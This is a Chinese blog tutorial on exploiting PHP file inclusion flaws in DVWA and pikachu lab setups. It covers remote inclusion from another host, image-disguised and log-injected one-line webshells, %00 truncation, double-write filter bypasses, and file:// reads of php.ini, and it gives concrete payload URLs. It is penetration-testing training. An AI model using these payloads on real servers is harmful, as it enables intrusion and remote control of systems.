【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)-CSDN博客文章浏览阅读272次,点赞9次,收藏2次。【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)https://blog.csdn.net/m0_67844671/article/details/133609717?spm=1001.2014.3001.5502
【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)_windows2003server镜像下载_网络安全_Aini的博客-CSDN博客文章浏览阅读613次。【网路安全 --- win2003安装】 windows server 2003 详细安装过程(提供镜像资源)_windows2003server镜像下载https://blog.csdn.net/m0_67844671/article/details/133675835?spm=1001.2014.3001.5502
【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_皮卡丘靶场安装_网络安全_Aini的博客-CSDN博客文章浏览阅读366次,点赞11次,收藏3次。【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_皮卡丘靶场安装https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502
【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置-CSDN博客文章浏览阅读225次,点赞2次,收藏2次。【网络安全 --- Burp Suite抓包工具】学网安必不可少的Burp Suite工具的安装及配置https://blog.csdn.net/m0_67844671/article/details/133843910?spm=1001.2014.3001.5502
PHP中的四个包含文件函数include(),include_once(),require()和require_once()。Include用的比较多
require一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误
include一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。
include_once(),require_once()会先检查目标文件的内容是不是在之前就已经导入过了,如果是的话,便不会再次重复导入同样的内容。
文件包含漏洞分:
本地文件包含漏洞
远程文件包含漏洞:需要开启这两个功能:allow_url_include=on并且magic_quotes_gpc=off
在windows2003上用phpstudy启动web服务,在跟网站写入创建123.php,然后写入如下代码
这代码很好看得懂,就是接受一个filename参数,然后用include函数去包含这个参数,顾名思义这个参数就是个文件名字
然后在网站根目录下再放入一个webshell.jpg
(先创建一个webshell.php文件,写入如下代码,再改名为webshell.jpg,一个图片马就制作好了)
浏览器访问一下看看,然后传参数进行文件包含
传参数,然后进行文件包含
然后发现,木马文件被利用了,我们做代码审计的时候,如果发现有使用到我们上面说到的四个文件包含函数,那么我们就可以检测一下它的漏洞,如果和我们写的代码似的,直接引入某个用户输入的文件,那么这就是本地包含漏洞。
allow_url_include=off这行,把off改成on,魔术符号关闭,这两个条件设置一下
然后我们再启动一个win2003主机开web服务,把把webshell.jpg 放在上面
然后远程包含一下看看
如果你用notepad++打开图片看的话,能看到密码
输入密码以后,这就是一个大的木马,可以进行各种操作
如果某个网站同时存在文件上传漏洞和文件包含漏洞或者存在远程文件包含漏洞,那就可以直接上传木马获得系统权限了
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
C:\phpStudy\PHPTutorial\Apache\logs\access.log # /var/log/nginx/access.log
C:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php
../../../../Apache/logs/access.log
演示:首先开启日志记录功能
找到httpd-conf,然后打开,在配置中修改日志开启状态 ,把#去掉表示开启了
记得重启服务器,修改配置以后重启才有效
看到了access.log文件,这个日志记录文件在工作中都是要开启的,首先现在国家安全法里面规定要进行日志记录,再有就是企业可以通过日志记录快速的排查问题出现在哪里,方便工作,虽然默认配置中没有开启日志记录,但是我们一定要开。
比如我们刷新一下刚才的请求,已经有了日志
日志文件路径为 C:\tools\phpstudy\PHPTutorial\Apache\logs
网站根路径为 C:\tools\phpstudy\PHPTutorial\WWW
所以想要包含日志文件的话,相对路径为 ../Apache/logs/access.log
浏览器访问一下看看,能不能成功
小例子:日志文件中写入一句话木马,尝试用工具连接(可能不成功,先试一下哈)
我们可以先用 来测试一下。
看到warning信息,这不是报错,所以问题不大
再看看日志文件 ,发现被URL编码了
我们通过包含日志的方式在浏览器上访问一下
发现代码并没有执行,这是因为url编码之后保存在日志中的代码是不能被执行的,所以我们发送过去的代码不要进行url编码,但是url编码是浏览器的自动行为,所以我们通过抓包来进行修改
这里需要用到抓包工具Burp Suite (安装博客教程链接在上面有)
打开自带的浏览器工具,输入我们的URL,然后开始拦截,抓到包以后放到重放器中
改成如下,然后放包过去
这次发现没有被编码
此时浏览器再访问,效果如下,代码被执行了。
接下来我们可以找一个一句话木马
还是先抓包,再替换,防止URL编码,然后发送
我们看看日志文件 ,发现被替换掉了
那我们直接用浏览器试一下
这次写进去了,我们用菜刀工具连接一下看看,能不能成功
成功获取了系统权限以及系统目录,这就是一个利用思路,通过在日志文件中注入一句话木马以后用工具进行连接
如果发现还是连接不上,那么我们可以换一种方式,通过日志文件专门去生成一个一句话木马文件
');?>
抓包然后加上上面的代码,如下
放包过去,就看到日志文件中的记录如下
浏览器通过包含日志的方式访问一下
发现根目录下已经有了aini.php一句话木马,可以用工具直接连接
这就是包含日志文件的漏洞利用,当然了如果有文件上传功能的话,我们通过上传文件携带木马的手段也能玩,日志这种是没有上传文件漏洞的网站的漏洞利用方式。所以学渗透重点是学习思路。除了上面两种利用方式之外,还有下面几个方式,我们一一来学。
// 对于老手程序员,开发出来的代码可能会做一些安全限制,比如下面这种代码
// http://192.168.18.16/123.php?page=x.php
这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了。
示例:比如还是我们的123.php文件,改动为上面的代码
并且注意这里面有个webshell.jpg文件,比如这个文件是我们上传上去的,我现在想执行以下它,于是我们在浏览器上访问了一下
发现报错了,并且自动在你指定的参数值后面加上了.php后缀,导致我们无法访问到webshell.jpg文件,那么怎么搞呢?通过%00截断,直接将你代码后面添加的.php给干掉了。注意了,这个和web服务程序的%00截断不太一样,那个是web服务程序自身的解析漏洞,这个是程序员代码漏洞昂。(不过这方法有时候也不太灵啊)
这是一个替换数据的函数,而且只替换一次,所以有漏洞。
## 使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
## 例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
## 同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1、本地文件包含,写多个../那么str_replace其实只替换一次,那么我们的相对路径还能生效
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
示例:
用我们的dvwa,然后将安全等级调为中危
那么各种漏洞的代码会自动发生变化,比如:
这个代码的作用:1.不能远程包含了 2.将../等相对路径干掉了,这种情况如何突破呢?其实很简单。比如我们先创建aini.php 然后随便写入内容
然后通过浏览器访问:
方式一:相对路径方式:
方式2:我们访问不在当前目录的文件:我们把x.php放到这个目录中来
如下,也是可以的,如果你读取的是他源代码中的某些文件或者某些配置文件,我们需要编码一下,不然如果是php文件,那么文件中的代码会执行,可能会看到代码执行过程中报错的问题.就利用php://协议来搞.
接下来将dvwa做一个高安全等级
再来看文件包含:
如果报错了的话是PHP版本问题,切换一下版本
通过查看源代码,我们发现了一个函数,叫做fnmatch,那么这个函数是做什么的呢?我们看下面
fnmatch函数是做正则匹配的.
if(!fnmatch("file*",$file)&&$file!="include.php")
## 当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
page=file:///C:/xampp/htdocs/dvwa/php.ini
刚好满足"file*"(文件名file开头)。注意,file协议用的是三个反斜杠昂
构造url
http://192.168.31.162/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
## 成功读取了服务器的配置文件
示例: 比如我们读取c盘下面的boot.ini文件:
只是说我们权限不够,其实权限够的话可以进行读取的,所以有时候可以用file协议进行文件读取
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
那么,如果做才能保证安全呢?看dvwa,我们将安全级别调制impossible,没有漏洞的意思
看代码:直接使用的是不等于某个绝对名称